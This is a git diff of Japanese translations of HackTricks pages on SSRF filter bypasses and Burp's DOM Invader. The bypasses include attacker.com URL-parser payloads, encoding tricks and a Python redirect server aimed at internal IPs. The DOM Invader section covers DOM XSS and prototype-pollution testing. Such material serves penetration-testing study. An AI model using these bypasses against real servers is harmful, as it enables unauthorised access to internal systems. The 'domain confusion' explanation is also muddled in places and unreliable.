[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得してください:
|
||||
[Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -83,6 +83,8 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
|||
```
|
||||
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
||||
|
||||
**Burp拡張機能** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) はIPフォーマットのバイパスを実装しています。
|
||||
|
||||
### ドメインパーサー
|
||||
```bash
|
||||
https:attacker.com
|
||||
|
@ -114,21 +116,21 @@ attacker。com
|
|||
```
|
||||
### ドメインの混乱
|
||||
|
||||
Domain confusion is a technique used to bypass SSRF protections that rely on blacklisting or filtering specific domains. It takes advantage of the fact that different components of a URL can be interpreted differently by the server.
|
||||
Domain confusion is a technique used to bypass SSRF protections that rely on blacklisting or filtering specific URL formats. It takes advantage of the fact that different URL formats can be used to access the same resource.
|
||||
|
||||
ドメインの混乱は、特定のドメインをブラックリスト化またはフィルタリングするSSRF保護をバイパスするための技術です。URLの異なるコンポーネントがサーバーによって異なる解釈がされるという事実を利用します。
|
||||
ドメインの混乱は、特定のURL形式のブラックリストやフィルタリングに依存しているSSRF保護をバイパスするための技術です。異なるURL形式を使用して同じリソースにアクセスできるという事実を利用します。
|
||||
|
||||
For example, consider the following URL: `http://example.com@attacker.com`. In this case, the server may interpret `example.com` as the domain and `attacker.com` as the username. This can lead to SSRF vulnerabilities if the server makes a request to the interpreted domain.
|
||||
For example, let's say there is a SSRF protection in place that blocks requests to internal IP addresses. The protection may be implemented by checking if the URL starts with "http://" or "https://". However, this can be bypassed by using alternative URL formats such as "http:/example.com" or "https:/example.com".
|
||||
|
||||
例えば、次のURLを考えてみましょう:`http://example.com@attacker.com`。この場合、サーバーは`example.com`をドメインと解釈し、`attacker.com`をユーザー名と解釈するかもしれません。これにより、サーバーが解釈されたドメインにリクエストを行う場合、SSRFの脆弱性が発生する可能性があります。
|
||||
例えば、内部IPアドレスへのリクエストをブロックするSSRF保護があるとします。この保護は、URLが「http://」または「https://」で始まるかどうかをチェックすることで実装されているかもしれません。しかし、これは「http:/example.com」や「https:/example.com」といった代替URL形式を使用することでバイパスすることができます。
|
||||
|
||||
To further confuse the server, additional URL encoding can be used. For example, the URL `http://example.com%40attacker.com` is equivalent to `http://example.com@attacker.com`. This can help bypass SSRF protections that only filter specific characters or patterns.
|
||||
By using different URL formats, an attacker can confuse the SSRF protection mechanism and trick it into making requests to internal IP addresses or other restricted resources.
|
||||
|
||||
さらにサーバーを混乱させるために、追加のURLエンコーディングを使用することもできます。例えば、URL `http://example.com%40attacker.com` は `http://example.com@attacker.com` と等価です。これにより、特定の文字やパターンのみをフィルタリングするSSRF保護をバイパスするのに役立ちます。
|
||||
異なるURL形式を使用することで、攻撃者はSSRF保護メカニズムを混乱させ、内部IPアドレスや他の制限されたリソースへのリクエストを行わせることができます。
|
||||
|
||||
It is important to note that domain confusion may not work in all cases, as it depends on how the server interprets the URL components. Therefore, it is recommended to combine this technique with other SSRF bypass methods for better results.
|
||||
It's important to note that domain confusion may not work in all cases, as some SSRF protections may be more sophisticated and capable of detecting and blocking such bypass attempts. Therefore, it's crucial to thoroughly test the effectiveness of domain confusion in the specific context of the target application.
|
||||
|
||||
ドメインの混乱がすべてのケースで機能するわけではないことに注意してください。これは、サーバーがURLのコンポーネントをどのように解釈するかに依存するためです。したがって、より良い結果を得るために、この技術を他のSSRFバイパス方法と組み合わせることを推奨します。
|
||||
ドメインの混乱がすべてのケースで機能するわけではないことに注意する必要があります。一部のSSRF保護はより洗練されており、このようなバイパス試行を検出してブロックすることができる可能性があります。したがって、対象アプリケーションの特定のコンテキストでドメインの混乱の効果を徹底的にテストすることが重要です。
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
|
@ -177,8 +179,8 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
### リダイレクトによるバイパス
|
||||
|
||||
サーバーがSSRFの元のリクエストをフィルタリングしている可能性がありますが、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングされていない**場合があります。\
|
||||
たとえば、`url=https://www.google.com/`を介したSSRFの脆弱なサーバーは、**urlパラメータ**をフィルタリングしているかもしれません。しかし、[pythonサーバーを使用して302で応答する](https://pastebin.com/raw/ywAUhFrv)ことで、リダイレクトしたい場所に**フィルタリングされたIPアドレス**(例:127.0.0.1)や、フィルタリングされた**プロトコル**(例:gopher)にアクセスできるかもしれません。\
|
||||
サーバーがSSRFの元のリクエストをフィルタリングしている可能性がありますが、そのリクエストへの可能な**リダイレクト**応答はフィルタリングされていないかもしれません。\
|
||||
たとえば、`url=https://www.google.com/`を介したSSRFの脆弱なサーバーは、urlパラメータを**フィルタリングしている**かもしれません。しかし、[pythonサーバーを使用して302で応答する](https://pastebin.com/raw/ywAUhFrv)ことで、リダイレクトしたい場所に**フィルタリングされたIPアドレス**(例:127.0.0.1)や、フィルタリングされた**プロトコル**(例:gopher)にアクセスできるかもしれません。\
|
||||
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -204,7 +206,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### バックスラッシュトリック
|
||||
|
||||
簡単に言えば、_バックスラッシュトリック_ は、2つの「URL」仕様間のわずかな違いを利用しています:[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)。RFC3986は、_Uniform Resource Identifiers_ の構文に関する一般的な多目的仕様であり、WHATWG URL標準はWebおよびURL(URIのサブセット)を対象としています。現代のブラウザはWHATWG URL標準を実装しています。
|
||||
簡単に言えば、_バックスラッシュトリック_ は、2つの「URL」仕様間のわずかな違いを利用しています:[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)。RFC3986は、_Uniform Resource Identifiers_ の構文に関する一般的な多目的の仕様であり、WHATWG URL標準はWebおよびURL(URIのサブセット)に特化しています。モダンなブラウザはWHATWG URL標準を実装しています。
|
||||
|
||||
両方の仕様は、URI/URLを解析する方法を説明していますが、わずかな違いがあります。WHATWG仕様では、`\`という[1つの追加文字](https://url.spec.whatwg.org/#authority-state)があり、これは`/`とまったく同じように振る舞います:ホスト名と権限を終了し、URLのパスを開始します。
|
||||
|
||||
|
@ -214,16 +216,16 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
![](<../../.gitbook/assets/image (629).png>)
|
||||
|
||||
画像は[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)から
|
||||
画像は[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)から。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,11 +4,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -31,31 +31,31 @@ Burpの組み込みブラウザで**Burp拡張機能**に移動し、有効に
|
|||
|
||||
次に、ページを更新し、**Dev Tools**で**DOM Invaderタブ**が表示されます:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### カナリアを注入する
|
||||
|
||||
前の画像で、**ランダムな文字のグループ(カナリア)**が表示されます。これをウェブのさまざまな部分(パラメータ、フォーム、URLなど)に**注入**し、毎回検索をクリックします。DOM Invaderは、悪用できる可能性のある**興味深いシンク**にカナリアが到達したかどうかをチェックします。
|
||||
|
||||
さらに、**URLパラメータを注入**および**フォームを注入**のオプションは、見つかった**すべてのURLパラメータ**と**フォーム**にカナリアを自動的に注入する**新しいタブ**を開きます。
|
||||
さらに、**URLパラメータを注入**および**フォームを注入**のオプションは、見つかった**すべてのURLパラメータとフォーム**にカナリアを自動的に注入する**新しいタブ**を開きます。
|
||||
|
||||
### 空のカナリアを注入する
|
||||
|
||||
潜在的なシンクを見つけるだけでよい場合は、実行可能でなくても、**空のカナリアを検索**できます。
|
||||
潜在的なシンクを見つけるだけでよい場合は、空のカナリアを検索できます。これらのシンクは悪用できないかもしれませんが、存在する可能性があります。
|
||||
|
||||
### メッセージの送信
|
||||
|
||||
DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSをテストすることができます。次の機能があります。
|
||||
|
||||
1. `postMessage()`を介して送信されたウェブメッセージの**ログ記録**。これは、Burp ProxyのHTTPリクエスト/レスポンス履歴のログ記録に似ています。
|
||||
2. DOM XSSを手動でテストするためのウェブメッセージの**編集**と**再発行**。これは、Burp Repeaterの機能に似ています。
|
||||
1. `postMessage()`を介して送信されたウェブメッセージの**ログ記録**。これは、Burp ProxyのHTTPリクエスト/レスポンス履歴ログと同様です。
|
||||
2. DOM XSSを手動でテストするためのウェブメッセージの**編集**と**再送信**。これは、Burp Repeaterの機能と似ています。
|
||||
3. DOM XSSを探索するためのウェブメッセージの**自動変更**と送信。
|
||||
|
||||
#### メッセージの詳細
|
||||
|
||||
各メッセージをクリックすると、クライアントサイドのJavaScriptによって`origin`、`data`、または`source`プロパティがアクセスされているかどうかを含む、詳細な情報が表示されます。
|
||||
|
||||
* **`origin`**:メッセージの**オリジン情報がチェックされていない**場合、任意の外部ドメインからイベントハンドラにクロスオリジンメッセージを送信できる場合があります。ただし、チェックされていても安全ではない可能性があります。
|
||||
* **`origin`**:メッセージの**オリジン情報がチェックされていない**場合、任意の外部ドメインからイベントハンドラに対してクロスオリジンメッセージを送信できる場合があります。ただし、チェックされていても安全であるとは限りません。
|
||||
* **`data`**:ここにペイロードが送信されます。このデータが使用されない場合、シンクは無効です。
|
||||
* **`source`**:通常はiframeを参照するソースプロパティが、オリジンではなく検証されているかどうかを評価します。これがチェックされていても、検証がバイパスされないことを保証するものではありません。
|
||||
|
||||
|
@ -67,21 +67,21 @@ DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSを
|
|||
|
||||
### プロトタイプ汚染
|
||||
|
||||
DOM Invaderは、**プロトタイプ汚染の脆弱性**を検索することもできます。まず、有効にする必要があります:
|
||||
DOM Invaderは、**プロトタイプ汚染の脆弱性**を検索することもできます。まず、有効にする必要があります。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
次に、**`Object.prototype`**に任意のプロパティを追加できるソースを**検索**します。
|
||||
|
||||
何かが見つかると、**テスト**ボタンが表示され、**見つかったソースをテスト**するためのボタンが表示されます。それをクリックすると、新しいタブが表示され、コンソールでオブジェクトを作成し、`testproperty`が存在するかどうかを確認します。
|
||||
何か見つかった場合、**テスト**ボタンが表示され、**見つかったソースをテスト**することができます。クリックして、新しいタブが表示され、コンソールでオブジェクトを作成し、`testproperty`が存在するかどうかを確認します。
|
||||
```javascript
|
||||
let b = {}
|
||||
b.testproperty
|
||||
```
|
||||
一度ソースを見つけたら、**ガジェットをスキャン**することができます:
|
||||
ソースを見つけたら、**ガジェットをスキャン**できます:
|
||||
|
||||
1. **DOM**ビューから、DOM Invaderが見つけたプロトタイプ汚染ソースの横にある**ガジェットをスキャン**ボタンをクリックします。DOM Invaderは新しいタブを開き、適切なガジェットをスキャンし始めます。
|
||||
2. 同じタブで、DevToolsパネルの**DOM Invader**タブを開きます。スキャンが終了すると、**DOM**ビューには、特定のガジェットを介してアクセスできるシンクが表示されます。以下の例では、`innerHTML`シンクに`html`というガジェットプロパティが渡されました。
|
||||
1. **DOM**ビューから、DOM Invaderが見つけたプロトタイプ汚染ソースの隣にある**ガジェットをスキャン**ボタンをクリックします。DOM Invaderは新しいタブを開き、適切なガジェットをスキャンし始めます。
|
||||
2. 同じタブで、DevToolsパネルの**DOM Invader**タブを開きます。スキャンが終了すると、**DOM**ビューには、特定のガジェットを介してアクセスできるシンクが表示されます。以下の例では、`innerHTML`シンクに渡された`html`というガジェットプロパティが表示されています。
|
||||
|
||||
## DOM clobbering
|
||||
|
||||
|
|